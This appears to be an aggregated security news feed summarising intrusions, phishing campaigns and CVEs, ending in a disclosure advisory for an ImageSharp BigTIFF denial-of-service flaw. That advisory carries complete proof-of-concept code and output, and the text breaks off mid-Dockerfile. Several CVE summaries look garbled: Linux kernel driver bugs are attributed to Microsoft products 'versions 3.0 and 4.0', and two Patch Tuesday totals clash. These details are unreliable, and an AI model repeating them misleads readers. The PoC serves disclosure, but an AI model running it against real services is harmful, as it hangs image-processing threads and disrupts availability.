Attackers impersonated IT help desk personnel on Microsoft Teams to gain unauthorized access to Active Directory environments by social engineering users into sharing Quick Assist remote support session codes. They exploited misconfigured Active Directory Certificate Services using ESC1 and ESC8 attack paths, obtained certificates for privileged accounts, performed DCSync operations to harvest credentials, and exfiltrated data via Rclone to external SFTP servers. Another intrusion used PetitPotam to coerce domain controller authentication and relay NTLM credentials to obtain unauthorized certificates. These attacks did not exploit vulnerabilities in Microsoft Teams itself but relied on impersonation and legitimate remote access tools combined with Active Directory misconfigurations.
Microsoft Threat Intelligence analyzed two human-operated intrusion cases where attackers used Microsoft Teams to impersonate IT support and socially engineer users into granting remote access via Quick Assist. The attackers then staged portable runtimes, performed host and network discovery, and abused Active Directory Certificate Services (AD CS) to obtain authentication certificates for privileged accounts. Two distinct AD CS abuse techniques were observed: ESC1 template abuse allowing certificate issuance for privileged accounts, and ESC8 NTLM relay to AD CS Web Enrollment to obtain domain-controller certificates. These certificate-based authentications enabled persistent privileged access independent of passwords. The incidents highlight risks from social engineering combined with insecure or overly permissive AD CS configurations rather than software vulnerabilities. Microsoft Defender detections and containment effectiveness varied between cases, influencing the extent of attacker progression.
CVE-2026-115778 is an unauthenticated remote denial of service vulnerability in the Twisted conch Telnet transport component. The flaw relates to an unbounded condition that can be triggered remotely without authentication, potentially causing service disruption. The affected version explicitly stated is version 3.0 of the product. No CVSS score or detailed impact metrics are provided. There is no information about public exploits or active exploitation in the wild. No patch or remediation guidance is currently available from the vendor.
CVE-2026-111497 is a buffer overflow vulnerability in the Brotli decoder component of Microsoft software. The issue was fixed in version 8.0.427. No public exploit or active exploitation is currently known.
CVE-2026-99082 is a vulnerability related to the KVM x86 virtualization component involving the use of active memory slots for the per-vCPU MMIO cache. The provided information is minimal and does not include technical details about the flaw, its impact, or exploitation methods.
This vulnerability, identified as CVE-2026-99005, relates to the drm/i915/gt component and involves unmasking interrupts only when the ACTIVE state is true. The information provided is minimal and does not include detailed technical specifics or impact descriptions. The affected versions are exactly 3.0 and 4.0. No CVSS score or exploit details are available.
A China-linked advanced persistent threat (APT) group known as Storm-0940 has been using the open source AI penetration testing tool Artex to automate attacks targeting ConnectWise customers. The campaign, active since at least 2021 and intensified since September 2026, involved password spraying, OAuth application abuse, and reconnaissance at machine speed. The attackers gained privileged access to multiple Microsoft 365 tenants by abusing compromised ConnectWise application credentials. ConnectWise suspended several cloud services in response. The threat actor established persistence by modifying application credentials, enabling continued access even after remediation efforts. Hundreds of organizations across multiple sectors were targeted, including aerospace, defense, financial services, and government. Microsoft and other security firms have documented the attack techniques and recommended monitoring service principal sign-ins and directory changes for suspicious activity.
CVE-2026-56379 is a command injection vulnerability in ImageMagick's SVG decoder. The vulnerability allows an attacker to execute arbitrary commands via crafted SVG files. The affected version is ImageMagick 4.0. No CVSS score is provided, and there is no indication of active exploitation in the wild. No patch or remediation details are available from the vendor.
Storm-0940, a China-state aligned threat actor, has used the AI-driven ARTEX penetration testing framework since September 2026 to automate large-scale attacks targeting hundreds of organizations globally across multiple industries. These attacks have enabled the actor to gain privileged access to cloud infrastructures rapidly, sometimes within three hours of initial targeting. The actor leveraged ARTEX to accelerate scanning, reconnaissance, password spraying, and OAuth application abuse, notably in the ConnectWise supply chain compromise. The activity involved abuse of Microsoft 365 OAuth applications to access customer environments without interactive user sign-in, followed by reconnaissance and privilege escalation attempts via Microsoft Graph. Microsoft confirmed that these attacks did not stem from vulnerabilities in Microsoft corporate systems or products. Microsoft Defender XDR provides detections and hunting queries to identify suspicious activity related to this threat. Customers are advised to review service principal sign-ins and investigate unexpected credential or privilege changes while following published containment guidance.
Wazza is a multi-stage phishing kit actively targeting Microsoft 365 accounts since July 2026. It uses phishing emails with PDF lures themed around business documents to redirect victims through a complex infrastructure involving Google Sites and CloudFlare Workers. The kit impersonates multiple well-known services and employs advanced browser checks and client-side protections. It abuses Microsoft OAuth device authorization to trick victims into completing authentication, allowing attackers to gain access to accounts and cloud resources. The campaign is medium severity due to credential theft risks.
This vulnerability involves the KVM (Kernel-based Virtual Machine) component related to SVM (Secure Virtual Machine) where the active VMCB's (Virtual Machine Control Block) MSR (Model-Specific Register) bitmap is not properly used when checking if an MSR is intercepted. The issue affects Microsoft products with versions 3.0 and 4.0. No CVSS score or detailed impact information is provided.
This vulnerability relates to an incorrect RCU (Read-Copy-Update) teardown order in the drm/i915 component. The issue affects Microsoft products with versions 3.0 and 4.0. No CVSS score or detailed impact information is provided, and there is no indication of active exploitation in the wild.
This vulnerability concerns a reference leak in the drm/nouveau driver component, specifically in the nv1a_ram_new() function. It affects Microsoft products version 3.0 and 4.0. No CVSS score or detailed impact information is provided, and there is no indication of active exploitation or available patches.
A buffer over-read vulnerability exists in the Bluetooth component of Microsoft software, specifically in the function btintel_hw_error(). This issue affects versions 3.0 and 4.0 of the product. No CVSS score or detailed impact information is provided, and there is no indication of active exploitation in the wild.
Microsoft and Health-ISAC disrupted a Chinese-language phishing marketplace comprising YAM Store, CoGUI, and Iron Man, which sent over one billion malicious messages since January 2026. These services supplied stolen accounts, phishing kits, and infrastructure to criminals worldwide, targeting consumers and more than 75,000 organizations in over 150 countries. The phishing kits allowed real-time credential harvesting with interactive platforms and included thousands of templates tailored to many countries. The disruption was enabled by a US federal court order and involved multiple cybersecurity and law enforcement partners. Microsoft disabled over 20,000 accounts and blocked more than 100,000 domains related to this operation. The phishing infrastructure depended on vendor licensing servers, making it vulnerable to takedown efforts.
Microsoft's October 2026 Patch Tuesday includes security updates addressing 1415 vulnerabilities across multiple products, with 85 marked as critical. Among these, 67 are remote code execution vulnerabilities. One vulnerability, CVE-2026-96951, a security feature bypass in Windows Shell involving command injection, has been exploited in the wild. Other notable vulnerabilities affect Windows Active Directory Domain Services, Microsoft Exchange Server, Windows Hyper-V, Microsoft Office Excel, Microsoft QUIC, and various Windows components. The vulnerabilities have CVSS base scores ranging from 7.0 to 9.8, indicating high severity. Microsoft has released patches for these issues as part of the monthly update cycle.
Microsoft's October 2026 Patch Tuesday addresses a record 1,411 vulnerabilities, including three zero-day flaws—one actively exploited and two publicly disclosed. This update is significant due to the volume of fixes and the presence of zero-day vulnerabilities requiring attention.
CVE-2026-96325 is a vulnerability in Microsoft Windows 10 Version 1607 and related builds where a missing reference to an active allocated resource in the SMB Server component allows an unauthorized attacker to cause a denial of service over the network. The issue affects multiple Windows 10 builds prior to specific fixed versions. The vulnerability has a high severity score of 7.5 and is officially fixed by Microsoft in the listed versions.
A vulnerability identified as CVE-2026-85483 affects Apache Thrift's c_glib TZlibTransport component, where it incorrectly reports a full read after a premature end of the stream. This issue is present in versions 3.0 and 4.0 of the affected software. No CVSS score or detailed impact information is provided, and there is no indication of active exploitation or available patches.
### Summary
`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.
One decoder invocation occupied one executing thread for more than five seconds in
the tested environment. This report makes no worker-pool exhaustion claim.
### Affected package and versions
- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.
BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.
### Details
[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.
### Tested environment
The reproduction uses the DLL in the published NuGet 4.1.1 package:
```text
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
```
### Reproduction
The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF
with its first IFD at offset 16 and entry count `5000000000`. There are no bytes
for an entry. Run the supplied container under a five-second timeout.
Complete observed output:
```text
bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124
```
`timeout` exit code 124 means the decoder had not returned after five seconds.
The control is identical except the entry count is `1`:
```text
bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0
```
The control rejects malformed input promptly; it does not time out.
No active exploitation is known.
### Complete PoC files
Program.cs:
```csharp
using SixLabors.ImageSharp;
static class Program
{
// Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
// The count field is controlled by the input.
private static byte[] BuildBigTiff(ulong entryCount)
{
byte[] bytes = new byte[24];
bytes[0] = 0x49; bytes[1] = 0x49; // II
bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic
bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets
BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
return bytes;
}
private static void Main(string[] args)
{
ulong entryCount = ulong.Parse(args[0]);
byte[] bytes = BuildBigTiff(entryCount);
Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
try
{
using var stream = new MemoryStream(bytes);
using Image image = Image.Load(stream);
Console.Error.WriteLine("completed");
}
catch (Exception ex)
{
Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
}
}
}
```
Project file:
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
</Reference>
</ItemGroup>
</Project>
```
Dockerfile:
```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >